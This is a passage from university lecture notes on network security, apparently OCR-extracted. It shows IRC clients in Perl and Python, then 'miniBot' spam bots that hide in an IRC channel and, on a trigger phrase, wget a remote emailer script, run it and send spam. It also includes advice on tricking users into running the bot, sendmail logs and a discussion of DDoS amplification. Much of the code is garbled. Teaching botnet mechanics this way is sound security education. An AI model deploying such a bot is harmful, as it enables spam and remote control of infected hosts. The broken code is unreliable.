    while (my $input = <$sock>) {  #(U)
        # Check the numerical responses from the server.
        if ($input =~ /004/) {  #(V)
            # If connection established successfully, we terminate this 'while' loop
            # and switch to the 'while' loop in line (i) for downloading chat from
            # the server on a continuous basis:
            last;  #(W)
        } elsif($input =~ /PING/) {  #(X)
            # Some servers require sending back PONG with the same characters as
            # received from the server:
            print "Found ping: $input";  #(Y)
            if($input =~ /:/) {  #(Z)
                if(index($input, ":") != -1) {  #(a)
                    # Send PONG back with the received digits
                    my $digits = substr($input, index($input, ":") + 1,  #(b)
                        length($input) - index($input, ":"));  #(c)
                    print $sock "PONG $digits\n";  #(c)
                }
            } elsif ($input =~ /433/) {  #(d)
                die "Nickname is already in use.";  #(e)
            }
        }
    } elsif ($input =~ /PING/) {  #(X)
        # Some servers require sending back PONG with the same characters as
        # received from the server:
        print "Found ping: $input";  #(Y)
        if($input =~ /:/) {  #(Z)
            if(index($input, ":") != -1) {  #(a)
                # Send PONG back with the received digits
                my $digits = substr($input, index($input, ":") + 1,  #(b)
                    length($input) - index($input, ":"));  #(b)
                print $sock "PONG $digits\n";  #(c)
            }
        }
    } else {  #(d)
        die "Nickname is already in use.";  #(d)
    }
}
print "Joining the channel\n";  #(e)
print $sock "JOIN $channel\n";  #(g)
print "Waiting for a reply\n";  #(g)
while (my $input = <$sock>) {  #(i)
    chomp $input;  #(j)
    if ($input =~ /PING/.{0,4}/) {  #(k)
        # We must respond to PINGs to avoid being disconnected.
        print $sock "PONG $!\n";  #(l)
With regard to the handshaking in lines (U) through (e) of the script:

- If the client receives the status code 004, then the connection with the server is established.

- Instead of sending the status code 004 to indicate that a requested connection is established, some IRC servers send to a client a string like

  PING :msdjfwiweorlkamxmx

  where what follows ‘:’ is a random sequence of characters. The client must send back a PONG followed by the same sequence of characters to complete the connection.

- If the client receives the status code 433, that means the NICK used by the client is not acceptable to the server.
• As explained in the comment block at the beginning of the script, you can invoke this client with a command line like:

    ircClient.pl irc.freenode.net 6667 botrow ##PurdueCompsec

where the first argument is the name of the server, the second argument the port number, the third the nick you wish to use, and the last the channel you wish to join. Note that many IRC servers use the port 6667, but that is not always the case. So before you can use the client shown above, you must find out the hostname of a server in an IRC network and what port it uses for incoming connection requests from clients.

• After the command shown above connects you with the chat server, try the following commands for fun:

    INFO (info about the server, developers, etc.)
    LIST (will list all channels at the server)
    NAMES #channel_name (will list all users currently in the channel)
    JOIN #channel_name (if you wish to join that channel)
    WHOIS user_name (will return info on that user)
    TOPIC #channel_name (will show channel topic if set by operator)

Note that all commands must be uppercase. Also, you can be in multiple channels simultaneously.
• Read the comment block at the beginning of the client script above to see how text messages are broadcast to a channel. To repeat, the following entry in your terminal window in which you are running the script:

    PRIVMSG ##PurdueCompsec :Hello channel members, I am here

will send the message “Hello channel members, I am here” to the membership of the channel named in the line shown above. To quit a chat session, all you have to do is to enter

    QUIT

in the terminal window. Note that, as described in RFC 2812, it is normal for the server to send you an ERROR message when you quit a session with an IRC server.

• Shown next is the Python version of the command-line IRC client:

```python
#!/usr/bin/env python

# ircClient.py
# Avi Kak (kak@purdue.edu)
# April 9, 2017

# This is the Python version of the command-line IRC client.
# To make a connection, your command line should look like
#     ircClient.py irc.freenode.net 6667 botrow ##PurdueCompsec
# where 'botrow' is your nick and '##PurdueCompsec' the name of the channel.
# Obviously, 'irc.freenode.net' is the hostname of the server and 6667 the port number.
#
# After you are connected, to send a text string to the server, enter
```
## PRIVMSG ##PurdueCompsec :your actual text message goes here
##
## where 'PRIVMSG' is the command name for sending a text message and
## '##PurdueCompsec' the name of the channel. What comes after the colon is the
## text you want to send to the channel. Similarly, if you want to announce to
## the ##PurdueCompsec channel that you will be away for 10 minutes, you can
## enter
##
## AWAY ##PurdueCompsec :Back in 10 mins
##
## If you want yourself to be unmarked as being away, all you need to enter is
##
## AWAY
##
## without any arguments to the command. To quit a chat session, all you have to
## say is
##
## QUIT
##
## It is normal for the server to return an ERROR message when you quit.
##
## If you don’t know where the command names PRIVMSG, AWAY, QUIT, etc., come from,
## read the RFC1459 IRC standard. That standard defines a total of 40 such
## commands.
##
## Also try PING, WHO, WHOIS, USERS, PART, QUIT, NAMES, LIST, VERSION,
## STATS c, STATS l, STATS k, ADMIN, etc., with this command-line client.

import sys, socket, signal, os, re

if len(sys.argv) != 5:
    sys.exit(''' Usage: Requires 4 arguments as in


    ircClient.py host port nick channel

    Example: ircClient.py irc.freenode.net 6667 botrow ##PurdueCompsec

''')

def sock_close( signum, frame ):
    global sock
    sock.close
    sys.exit(0)

signal.signal( signal.SIGINT, sock_close )

server = sys.argv[1]
port = int(sys.argv[2])
nick = sys.argv[3]
login = nick
channel = sys.argv[4]

try:
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    sock.connect((server, port))
except socket.error, (value, message):
    if sock:
        sock.close()
    else:
        42
print("Could not establish a client socket: " + message)  \#(17)
sys.exit(1)  \#(18)

IRC_cmds = 'ADMIN AWAY CONNECT ERROR INFO INVITE
ISON JOIN KICK KILL LINKS LIST MODE
NAMES NICK NOTICE OPER PART PASS PING
PONG PRIVMSG QUIT REHASH RESTART SERVER
SQUIT STATS SUMMON TIME TOPIC TRACE
USER USERHOST USERS VERSION WALLOPS
WHO WHOIS WHOHAS'

IRC_cmds = IRC_cmds.split()  \#(19)
sys.stderr.write("[Connected to " + server + " : " + str(port) + "]\n")  \#(20)

# Spawn a child process. The variable pid is set to the PID of the child process in
# the main parent process. However, in the child process, the value of PID is set to 0.
pid = os.fork()  \#(22)
if pid == 0:  \#(23)
    # WE ARE IN THE CHILD PROCESS HERE:
    # The job of the child process is to upload the locally generate messages to the
    # Freenode server --- from where they get broadcast to all other channel members.
    while True:  \#(24)
        msg = sys.stdin.readline()  \#(25)
        if msg is not None:  \#(26)
            split_msg = filter(None, msg.split())  \#(27)
            if split_msg[0] in IRC_cmds:  \#(28)
                sock.send(msg)  \#(29)
                if split_msg[0] == 'QUIT': break  \#(30)
            else:  \#(31)
                sys.stderr("Syntax error. Try again\n")  \#(31)
        else:
            # WE ARE IN THE PARENT PROCESS HERE.
            # Use blocking read to receive messages incoming from the server and to respond to
            # those messages appropriately. If there is a need to send a message to the server,
            # a message that is not a reply to something received from the server, the child
            # process will take care of that.
            # But first you must log into the server. To log into a server that does not need
            # a password, you need to send the NICK and USER messages to the server as shown
            # below. See Section 3.1.3 of RFC 2812 for the syntax used for the USER message.
            sock.send("NICK " + nick + "\r\n")  \#(32)
            sock.send("USER " + login + " 0 * :A Handcrafted IRC Client\r\n")  \#(33)
            while True:  \#(34)
                input = ''
                while True:  \#(35)
                    byte = sock.recv(1)  \#(36)
                    if byte == "\n": break  \#(37)
                    input += byte  \#(38)
                # Check the numerical responses from the server.
                if '004' in input:  \# connection established  \#(40)
                    # If connection established successfully, we terminate this 'while' loop
                    # and switch to the 'while' loop in line (51) for downloading chat from
                    # the server on a continuous basis:
                    break  \#(41)
                elif 'PING' in input:
                    # Some servers require sending back PONG with the same characters as
# received from the server:
print( "Found ping: " + input)  # (42)
if ':' in input:
    digits = input[input.find(':') + 1 : ]  # (43)
    sock.send( 'PONG ' + digits + "\r\n")  # (44)
elif '433' in input:
sys.exit("Nickname is already in use.")  # (45)
print("Joining the channel\n")  # (46)
sock.send(‘JOIN ’ + channel + “\r\n")  # (47)
print("Waiting for a reply\n")  # (48)
while True:
    input = ''  # (49)
    while True:
        byte = sock.recv(1)  # (50)
        if byte == "\n": break  # (51)
        input += byte  # (52)
    regex = re.compile( r'^PING(.*)$', re.IGNORECASE )  # (53)
    m = re.search( regex, input )  # (54)
    if m is not None:
        sock.send("PONG " + m.group(1) + "\r\n")  # (55)
    else:
        # It is this part of the parent process that displays the incoming chat:
        # In the incoming chat, a remote user is identified with a string like
        # "nick!login_name@host". We want to abbreviate that to just the nick:
        regex = r"(["!]+)\([^ "]*"  # (56)
        m = re.search( regex, input )  # (57)
        if m is not None:
            input = re.sub(regex, m.group(1), input)  # (58)
        print(input)  # (59)
29.6 PYTHON AND PERL CODE FOR A MINI BOT THAT SPEWS OUT THIRD-PARTY SPAM

- The goal of this section is to “extract” from the IRC client scripts presented in the previous section minimal possible code needed to create a bot that would do the bidding of a bot-master in spewing out spam.

- We will refer to these bots as “mini bots”. The Python version is named `miniBot.py` and the Perl version `miniBot.pl`.

- The bots presented in this section have the following specific mission: When a bot receives the following incantation

  
  abracadabra magic mailer

  

  we want the bot to reach out to a third-party spam provider, download a spam file containing email addresses and the content for each address, and, finally, send the spam to the destination addresses.

- In the rest of the section, I’ll first present the Perl version of the mini bot and then the Python version. The order of
presentation merely reflects the order in which I wrote code for them. The Perl version came into existence in 2015 and the Python version in 2017.

- In order to keep simple this demonstration of spam-spewing bots, it was necessary to create separate emailer files for the Perl and the Python versions of the mini bot. That is, although the email headers and the message content in both the Perl and the Python version of the emailer files are identical, how they are packaged is different for the two cases.

- So let’s start with the Perl version of the bot:

```perl
open SENDMAIL, "|/usr/sbin/sendmail -t -oi ";
print SENDMAIL "From: cutiepie\@yourfriend.com \n";
print SENDMAIL "To: avi_kak\@yahoo.com \n";
print SENDMAIL "Subject: I am so lonely, please call \n\n";
print SENDMAIL "\n\nYou may not believe this, but I know you already.\n";
print SENDMAIL "I promise you will not regret it if you call me at 123-456-789.\n";
print SENDMAIL "If you call, I will send you my photo that you will drool over. Call soon.\n";
print SENDMAIL "\n\n";
close SENDMAIL;

open SENDMAIL, "|/usr/sbin/sendmail -t -oi ";
print SENDMAIL "From: goodbuddy\@someoutfit.net \n";
print SENDMAIL "To: kak\@purdue.edu \n";
print SENDMAIL "Subject: you just won a lottery \n\n";
print SENDMAIL "\n\nYes, you have won loads of money.\n\n";
print SENDMAIL "\n\nYou can now have fun the rest of your life.\n\n";
print SENDMAIL "\n\nCall immediately at 123-456-789 to claim your prize.\n\n";
print SENDMAIL "\n\n";
close SENDMAIL;

open SENDMAIL, "|/usr/sbin/sendmail -t -oi ";
print SENDMAIL "From: hellokitty\@anotheroutfit.org \n";
print SENDMAIL "To: ack\@purdue.edu \n";
print SENDMAIL "Subject: Be a Romeo \n\n";
```

We will assume that the spam provider has made available the following sort of a file, named `emailer`, at his/her location:
Obviously, a spam file such as the one shown above could be easily constructed by merging an email address file and a spam content file. **This spam file is meant to be executable by Perl.** I used the same spam file in Section 27.3 of Lecture 27.

● Shown below is the code for `miniBot.pl`:

```perl
#!/usr/bin/perl -w

## miniBot.pl
## A silly little bot by Avi Kak (kak@purdue.edu)
##
## This is derived from the script ircClient.pl presented in Section 28.4 
of Lecture28 notes. The script uses code from Paul Mutton’s script "A 
Simple Perl IRC Client" and user feedback scriplets that can be 

## For this bot to make a connection with an IRC server, someone has to 
## execute, knowingly or unknowingly, the following command line:

## miniBot.pl server_address port nick channel

## This is a mini bot because it has only one exploit programmed into it: 
## the bot sends out spam to a third-party mailing list. However, for 
## that work, the host "infected" by this bot must have the sendmail MTA 
## running.

## The bot’s exploit is triggered when it receives the following string 
##
## abracadabra magic mailer

## from the IRC channel it is connected to. Note that the bot logs into 
## the IRC server via the USER command:
```
as shown in line (O). As stated in RFC 2812 for IRC, the second argument to the USER command represents a bit mask that determines the various properties of the user in the channel. Using the number 8 would cause the user to become invisible to others in the same channel.

```perl
use strict;
use IO::Socket; #(A)
use Cwd;

die "Usage: Requires 4 arguments as in
" .
" $0 host port nick channel
" unless @ARGV == 4; #(B)

my $server = shift; #(C)
my $port = shift; #(D)
my $nick = shift; #(E)
my $login = $nick; #(F)
my $channel = shift; #(G)

my $sock = IO::Socket::INET->new(PeerAddr =>$server, #(H)
    PeerPort =>$port, #(I)
    Proto => 'tcp') or #(J)
    die; #(K)

$SIG{INT} = sub { $sock->close; exit 0; }; #(L)
STDOUT->autoflush(1); #(M)
print $sock "NICK $nick\n"; #(N)
print $sock "USER $login 8 * :from the miniBot\n"; #(O)

while (my $input = <$sock>) {#(P)
    # Check the numerical responses from the server.
    if ($input =~ /004/) { # connection established #(Q)
        last; #(R)
    } elsif ($input =~ /PING/) { #(S)
        if($input eq '/PING/') { #(T)
            if(index($input, ":") != -1) { #(U)
                my $digits = substr($input, index($input, ":") + 1,
                    length($input) - index($input, ":")); #(V)
                print $sock "PONG $digits\n"; #(W)
            }
        }
    } elsif ($input =~ /433/) { #(X)
        die; #(Y)
    }
}

print $sock "JOIN $channel\n"; #(Z)
while (my $input = <$sock>) {#(a)
    chop $input; #(b)
    if ($input =~ /PING(.*)$/i) { #(c)
```
Let’s say we “infect” a host and somehow “trick” a user logged in at that host into clicking on a file that causes the execution of the following command line

```
miniBot.pl server_network_address port nick channel
```

where, obviously, you’d have specified an IRC server for the first argument, the port number relevant to that server, the nick that you want your bot to use (it will be some innocuous name, for obvious reasons), and, finally, the name of the channel. Presumably, you as a bot master would have started up a new channel at some publicly available IRC server and you’d therefore have the operator privileges on the channel — although your having operator privileges is not necessary for the miniBot’s exploit to succeed.

By monitoring the IRC channel, you as the bot master would be able to tell whether or not a target machine was successfully infected with the bot. Now all you have to do is to send the text
“abracadabra magic mailer” to the channel. When the miniBot sees this incantation, it will automatically download the third-party spam file and, assuming that the sendmail programming is running on the infected machine, send spam out to its recipients.

- You can play with the `miniBot.pl` script in the following manner:

1. In one window on the laptop, execute the following command to monitor the outgoing email from your laptop (you don’t have to be root for this)

   ```bash
   tail -f /var/log/mail.log
   ```

2. In a second window of the laptop, execute

   ```bash
   miniBot.pl irc.freenode.net 6667 zelda ##PurdueCompsec
   ```

3. In a third window, now execute

   ```bash
   ircClient.pl irc.freenode.net 6667 gilda ##PurdueCompsec
   ```

   Note that the nick ‘gilda’ here is different from the nick ‘zilda’ shown in the second step. [You can also use the mIRC client on the same laptop or on another machine for this step.]

4. In the same third window as used in the previous step, now execute:

   ```bash
   PRIVMSG ##PurdueCompsec :abracadabra magic mailer
   ```

   If you chose to execute Step 3 through the mIRC client, you would need to enter the message “abracadabra magic mailer” in the mIRC client itself.
• Shown below are the relevant entries from the mail log file from one of my runs with the miniBot exploit. This establishes the fact that miniBot succeeded in spewing out “spam”:

May 21 01:43:53 pixie sendmail[28387]: n4L5hqGc028387: to=avi_kak@yahoo.com, ctladdr=kak (1000/1000), delay=00:00:01, xdelay=00:00:01, msi=relay, pri=30193, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hqAN028388 Message accepted for delivery)

May 21 01:43:53 pixie sendmail[28389]: n4L5hrhC028389: to=kak@purdue.edu, ctladdr=kak (1000/1000), delay=00:00:00, xdelay=00:00:00, msi=relay, pri=30158, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hr1R028390 Message accepted for delivery)

May 21 01:43:54 pixie sendmail[28392]: n4L5hrOS028392: to=ack@purdue.edu, ctladdr=kak (1000/1000), delay=00:00:01, xdelay=00:00:01, msi=relay, pri=30156, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hrDW028393 Message accepted for delivery)

....

....

• When you are playing with the miniBot.pl script in the manner indicated above, do realize that the bot will appear to hang. Note that the bot does not print out any messages received from server. Neither does the bot have any facilities to upload your messages to the server. But that is intentional — since after all it is a bot that must do its work silently. So the only way to know that the bot is doing its assigned deed is to look at the mail.log file on the machine on which the bot is running. [As a funny aside, when I was debugging the miniBot.pl script, I ended up with self-inflicted spam consisting of hundreds of messages. Here is what happened: As you might have noticed, all three email addresses in the Perl executable emailer file are mine, implying that all of those messages will be sent to me. I had an error in the ‘if’ block that begins in line (h) of the miniBot.pl script. This error prevented the condition line in the ‘if’ block from being executed. As a
consequence, the spam generator code in lines (i) through (n) of the script was getting invoked on every single line that was being read from the server when the bot first registered itself with the server. This server happened to have an MOTD that was several hundred lines long. Each line in the MOTD was causing all the messages in the emailer file to be put on the wire.

- That brings us to the Python version of the mini bot, which we take up next.

- For the Python case, we will assume that the spam provider has made available the following sort of a file that is named `emailer.py` at his/her website:

```python
## This is an emailer file for demonstrating a Python based spam-spewing bot in Lecture 29 of the Lecture Notes on Computer and Network Security by Avi Kak

import subprocess

SENDMAIL = subprocess.Popen(['/usr/sbin/sendmail -t -oi'], stdin=subprocess.PIPE, shell=True)
SENDMAIL.communicate("From: cutiepie@yourfriend.com\n" +
"To: avi_kak@yahoo.com \n" +
"Subject: I am so lonely, please call \n\n" +
"You may not believe this, but I know you already.\n" +
"I promise you will not regret it if you call me at 123-456-789.\n" +
"If you call, I will send you my photo that you will drool over. Call soon.\n" + 
\n")

SENDMAIL = subprocess.Popen(['/usr/sbin/sendmail -t -oi'], stdin=subprocess.PIPE, shell=True)
SENDMAIL.communicate("From: goodbuddy@someoutfit.net\n" +
"To: kak@purdue.edu \n" +
"Subject: you just won a lottery \n\n" +
"You have won loads of money.\n\n" +
"You can now have fun the rest of your life.\n\n" +
"Call immediately at 123-456-789 to claim your prize.\n"
")

SENDMAIL = subprocess.Popen(['/usr/sbin/sendmail -t -oi'], stdin=subprocess.PIPE, shell=True)
SENDMAIL.communicate("From: hellokitty@anotheroutfit.org\n" +
"To: ack@purdue.edu \n" +
"Subject: Be a Romeo \n\n" +
"\n")
```

52
Our medication was extensively tested over 1000 males in Eastern Carbozia and," +
"according to all, it produced amazing results."

Now you can please a woman like you have always wanted to. Call immediately " +
"at 123-456-789 for a free-trial package."

Shown below is the code for `miniBot.py`:

```python
#!/usr/bin/env python
#
# miniBot.py
# April 9, 2017
#
# Python version of the silly little bot by Avi Kak (kak@purdue.edu)
#
# For this bot to make a connection with an IRC server,
# someone has to execute, knowingly or unknowingly, the
# following command line:
# miniBot.py server_address port nick channel
#
# This is a mini bot because it has only one exploit programmed
# into it: the bot sends out spam to a third-party mailing list.
# However, for that work, the host "infected" by this bot must
# have the sendmail MTA running.
#
# The bot’s exploit is triggered when it receives the following
# string
#
#       abracadabra magic mailer
#
# from the IRC channel it is connected to. Note that the bot
# logs into the IRC server via the USER command:
#       USER login 8 * :some text
#
# as shown in line (23). As stated in RFC 2812 for IRC, the second
# argument to the USER command represents a bit mask that determines the
# various properties of the user in the channel. Using the number 8
# would cause the user to become invisible to others in the same
# channel.

import sys, socket, signal, os, re, glob

if len(sys.argv) != 5:
    sys.exit(''' Usage: Requires 4 arguments as in

    miniBot.py host port nick channel

    Example: miniBot.py irc.freenode.net 6667 botrow

    ''')
```
def sock_close( signum, frame ): #(3)
global sock #4
sock.close #5
sys.exit(0) #6

signal.signal( signal.SIGINT, sock_close ) #7

server = sys.argv[1] #8
port = int(sys.argv[2]) #9
nick = sys.argv[3] #10
login = nick #11
channel = sys.argv[4] #12

try: #13
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) #14
    sock.connect((server, port)) #15
except socket.error, (value, message): #16
    if sock: #17
        sock.close() #18
    else: #19
        print("Could not establish a client socket: " + message) #20
        sys.exit(1) #21

sock.send("NICK " + nick + "\r\n") #22
sock.send("USER " + login + "8 * :from the miniBot\r\n") #23

while True: #24
    input = '' #25
    while True: #26
        byte = sock.recv(1) #27
        if byte == "\n": break #28
        input += byte #29
    if '004' in input: #30
        break #31
    elif 'PING' in input: #32
        if ':' in input: #33
            digits = input[input.find(':') + 1 : ] #34
            sock.send( 'PONG ' + digits + "\r\n") #35
        elif '433' in input: #36
            sys.exit("Nickname is already in use.") #37
    sock.send( 'JOIN ' + channel + "\r\n") #39

while True: #40
    input = '' #41
    while True: #42
        byte = sock.recv(1) #43
        if byte == "\n": break #44
        input += byte #45
    regex = re.compile( r'^PING(.*)$', re.IGNORECASE ) #46
    m = re.search( regex, input ) #47
    if m is not None: #48
        sock.send("PONG " + m.group(1) + "\r\n") #49
    else: #50
        regex = r'([!]*[!]*[^!]*)' #51
        m = re.search( regex, input ) #52
if m is not None: 
    input = re.sub(regex, m.group(1), input) 
if "abracadabra magic mailer" in input:
    current_dir = os.getcwd()
    os.chdir("/tmp")
    os.system("wget http://engineering.purdue.edu/kak/emailer_py")
    os.system("python emailer_py");
    os.unlink( glob.glob("emailer*") )
    os.chdir( current_dir )

- You’d use the same steps for demonstrating the spam spewing capabilities of this Python version of the mini bot that you saw earlier for the Perl version. Here are those steps again (using names specific to the Python case):

1. In one window on the laptop, execute the following command to monitor the outgoing email from your laptop (you don’t have to be root for this)
   ```
   tail -f /var/log/mail.log
   ```
2. In a second window of the laptop, execute
   ```
   miniBot.py irc.freenode.net 6667 zelda ##PurdueCompsec
   ```
3. In a third window, now execute
   ```
   ircClient.py irc.freenode.net 6667 gilda ##PurdueCompsec
   ```
   Note that the nick ‘gilda’ here is different from the nick ‘zilda’ shown in the second step.
4. In the same third window as used in the previous step, now execute:
   ```
   PRIVMSG ##PurdueCompsec :abracadabra magic mailer
   ```
   If you now examine the new entries in the first terminal window in you are running “`tail -f /var/log/mail.log`”, you’ll see that all of the spam in the folder `emailer.py` has been put on the wire.
Shown below are the relevant entries from the mail log file from one of my runs with the miniBot exploit. This establishes the fact that miniBot.py succeeded in spewing out “spam”:

May 21 01:43:53 pixie sendmail[28387]: n4L5hqGc028387: to=avi_kak@yahoo.com, ctladdr=kak (1000/1000), delay=00:00:01, xdelay=00:00:01, mailer=relay, pri=30193, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hqAN028388 Message accepted for delivery)

May 21 01:43:53 pixie sendmail[28389]: n4L5hrhC028389: to=kak@purdue.edu, ctladdr=kak (1000/1000), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30158, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hr1R028390 Message accepted for delivery)

May 21 01:43:54 pixie sendmail[28392]: n4L5hrOS028392: to=ack@purdue.edu, ctladdr=kak (1000/1000), delay=00:00:01, xdelay=00:00:01, mailer=relay, pri=30156, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (n4L5hrDW028393 Message accepted for delivery)
29.7 DDoS ATTACKS AND THEIR AMPLIFICATION — SOME GENERAL COMMENTS

- As mentioned previously in Lecture 16 (and also at the beginning of this lecture), the acronym DDoS stands for Distributed Denial of Service. The goal of such attacks is to overload a network with massive amounts of contrived traffic and do so to such an extent that it becomes unusable by its legitimate users.

- As was stated earlier in this Lecture, a bot master can harness the power of tens of thousands of bots working together to simultaneously request a service from a server and cause bandwidth exhaustion in the network in which the server is located. Bandwidth exhaustion is a form of Volumetric DDoS Attack. The goal of a Volumetric Attack is to cause maximum possible exhaustion of network resources at a targeted host. This is the DDoS attack of choice with botnets. There are two other forms of DDoS attacks: TCP State Exhaustion Attack, and the Application Layer Attack. The goal of a TCP State Exhaustion Attack is to exploit the fact that any computation related to the operation of the TCP/IP engine can only support a certain maximum number of processes (or threads) running concurrently. The goal of this attack is to commandeer all available concurrency at the targeted host. The goal of an Application Layer Attack is to flood an
application at a targeted host with routine looking requests, but do so incessantly, so as to bog down the targeted server. HTTP GET and POST floods are examples of such attacks. Since such attacks can be mounted with a small number (even just one) of attacking hosts and since the traffic generated by such attacks looks like normal traffic, this type of a DDoS attack can be difficult to detect. Application Layer attacks are also known as Layer 7 DDoS Attacks.

- The DDoS attacks of the sort mentioned above have been around for quite some time. You hear about them being used by the so-called “hacktivist” groups, often anonymous, when they want to seek revenge against organizations they are upset with.

- Some of the most publicized DDoS attacks of the last couple of years are based on the NTP and DNS amplification exploits.

  NTP stands for the Network Time Protocol for synchronizing the clocks in different computers and DNS, as you surely know by this time, stands for Domain Name Server. The logic of such attacks is quite straightforward: Let’s use $\mathcal{A}$ to designate the attacker, $\mathcal{S}$ to designate, say, a DNS server, and $\mathcal{T}$ the intended target or the victim of the attack. Fundamental to an amplification exploit is the attacker’s ability to generate packets with a spoofed source address — which would be the IP address of $\mathcal{T}$. The attacker $\mathcal{A}$ sends a large sequence of such packets to $\mathcal{S}$ for, say, a name lookup request. The server $\mathcal{S}$ sends its response back to $\mathcal{T}$, since it is $\mathcal{T}$’s address that shows up as the source address in the packets received from $\mathcal{A}$. 
• Given the scenario painted above, consider the situation when the size of the response from $S$ is $k$ times the size of the request received by $S$. The attacker $\mathcal{A}$ can take advantage of this fact to create a large bandwidth burden for $\mathcal{T}$ without having to bear the same bandwidth cost himself.

• For example, a typical DNS query using the UDP protocol is about 60 bytes in length and a typical response back from the DNS server is about 512 bytes — an amplification of 8.5. Even worse, with the more modern DNS servers that support RFC 2671, the size of the DNS response may be as large as 4096 bytes — which is an amplification factor of 68.

• Now just imagine the consequences of the attacker $\mathcal{A}$ harnessing the power of $m$ bots in a botnet to use this exploit to attack $\mathcal{T}$. For each gigabyte per second of this malicious traffic generated by each bot, in the worst case, the victim would have to cope with $m \times k$ gigabytes where $k$ is the amplification factor.

• Now consider a botnet with only 5000 bots participating in this attack. [Such a botnet could be leased as a stresser, booter, or ddoser for as little as $\$19$ from the internet.] With the DNS amplification at just 8.5, for each megabyte per second emanating from each bot, the target $\mathcal{T}$ would have to cope with around 40 gigabytes per second of traffic (that is, traffic at a level of around 320 Gbps) — that would be sufficient to consume the bandwidth at even the
largest of enterprise hosts. One can construct similar examples of amplification through NTP and SMTP servers. [I am not talking about hypothetical attack scenarios here. During the last couple of years, some of the well publicized actual attacks have used traffic amplification to create attacks in the range of 300 to 400 Gbps at the targeted hosts.]

- At the other end of the DDoS attack spectrum, we have the low-level difficult-to-detect shrew attack that, as previously explained in Section 16.11 of Lecture 16, can seriously disrupt TCP flows in the internet. As described in Lecture 16, these attacks exploit a vulnerability associated with retransmission timeout (RTO) in the TCP protocol — RTO kicks in when TCP does not receive an acknowledgment (ACK) within RTT (Round Trip Time). So all that an attacker has to do is to hit the TCP with a pulsating flood of DDoS packets every RTO seconds so that the sender TCP will never receive an ACK within RTT. In this manner, the attacker can throttle the legitimate traffic flows emanating from the sending TCP. Being pulsating (with the DDoS packet flood lasting only RTT seconds every RTO seconds), the average packet count for the DDoS attack packets is likely to be below the threshold set in the IDS at the sender TCP for DDoS detection. Thus such attacks can easily go unnoticed even as the users of the internet are seeing a significant performance degradation in data download speeds from the internet.
29.7.1 Multi-Layer Switching and Content Delivery Networks for DDoS Attack Mitigation

- Modern enterprises employ a variety of methods to protect their networks against DDoS attacks, especially attacks of the sort described in the previous section that use traffic amplification to mount attacks of such intensity that it would cause complete bandwidth exhaustion under ordinary circumstances. The defensive measures used include (i) multi-layer switching; (ii) packet filtering at the routers; and, (iii) providing services through what are known as Content Delivery Networks.

- A multi-layer switch acts like a router, except for two very important differences: (1) Whereas a router carries out its functions through software running in an embedded microprocessor, a multi-layer switch uses dedicated hardware to do the same; and (2) Whereas a router works only at Layer 3 (the IP Layer) of the OSI TCP/IP protocol stack, a multi-layer switch can route a packet on the basis of information corresponding to any of the layers 3 and above in the protocol stack. [Yes, in Layer 3 of the TCP/IP protocol stack, you can either have a router or a switch. They will both do the same thing: send an incoming packet to the appropriate IP address “south” of the router and send an outgoing packet to its destination (in some cases after network address]
translation). The only difference between a Layer 3 switch and a regular router is speed. Whereas a Layer 3 switch uses dedicated hardware for switching, a run of the mill router uses software for the routing of the packets.

- While, from a functional standpoint, a Layer 3 switch is no different from a router, a Layer 4 switch, on the other hand, carries out port translation for sending incoming packets to one or more machines that are hidden behind a single IP address. You could say that a Layer 4 switch is a NAT with port and transaction awareness — all implemented in hardware so that packet forwarding takes place at wirespeed.

- Layers 4-7 switches that are now commonly used in enterprise level server systems are also referred to as “content switches.”

- Content switches are used for load balancing when enterprise level services are provided through a Content Delivery Network (CDN) — a subject we will take up next. With a content switch, a client (an example would be someone requesting a web page) can be connected to the least loaded node of of a CDN at network speed.

- With the introduction to multi-layer switches as presented above, imagine a network of servers (providing the same service) behind a multi-layer switch in a high-bandwidth local network. If there were to be a DDoS attack on this network, the switch...
would be able to mitigate the attack (up to a point) by sending the incoming traffic to the least loaded server machine. As you would expect, this would make the server system more resilient to DDoS attacks — resilient in the sense of being able to absorb a volumetric DDoS attack. As to how resilient, that would depend on how many actual server machines are pressed into service and the bandwidth capacity of the local network.

- The same idea as described above is used in a CDN — except that it is implemented on a geographically distributed basis for global delivery of content while protecting the servers from DDoS attacks.

- As shown in Figure 3, a CDN is a network of geographically distributed customer-facing proxy servers that actually deliver the content in the internet. The origin server — this is the actual server where the content resides — cannot be reached directly by the internet users. This manner of isolating the origin servers makes them relatively secure against DDoS attacks of any kind — all the more because the origin servers supply their content to the CDN proxy servers through dedicated GRE tunnels, as shown in Figure 3. GRE, which stands for Generic Routing Encapsulation Protocol, is used to create a secure point-to-point tunnel for transferring the content from an origin server to the proxy servers in the CDN.
• An attacker could try to defeat a CDN by making rapid-fire requests for dynamically generated content that would cause the CDN to have to go back to the origin server for fetching the content. **Such an attack on a CDN may sound good in theory, in practice it can be warded off by aggressive caching both at the CDN end and at the origin server end.** With appropriate caching, repeated requests for the same content, even if that content needed be generated dynamically when it was first requested, would be serviced from the cache and would not bog down the origin server.

• Even with aggressive caching, there are certain types of requests that the CDN would need to send back to the origin server: login requests, search, etc. So a DDoS attack that exploits such requests may succeed in pulling down the origin server despite its CDN protection. The origin server can be protected against such attacks with appropriate content switching and rate-limiting firewall rules in the proxy servers and the edge routers.

• Since CDN is a geographically distributed network of proxy servers, they constitute a much more resilient defense against DDoS attacks than, say, the origin server itself that is protected by a rate-limiting firewall. The edge routers, as shown in Figure 3, direct traffic to the CDN hosts while using multi-layer switching to balance out the load between the CDN host nodes that could be situated in any part of the world.
Figure 3: Delivering Web Content through a Geographically Distributed CDN

(This figure is from Lecture 29 of “Lecture Notes on Computer and Network Security” by Avi Kak)
29.7.2 DDoS Attack Mitigation with Manual Reconfiguration of BGP Routing

- Perhaps even more than the CDNs described in the previous section, BGP based manual reconfiguration of the network routing used in the internet backbone has emerged as a powerful tool for defending local networks from DDoS attacks.

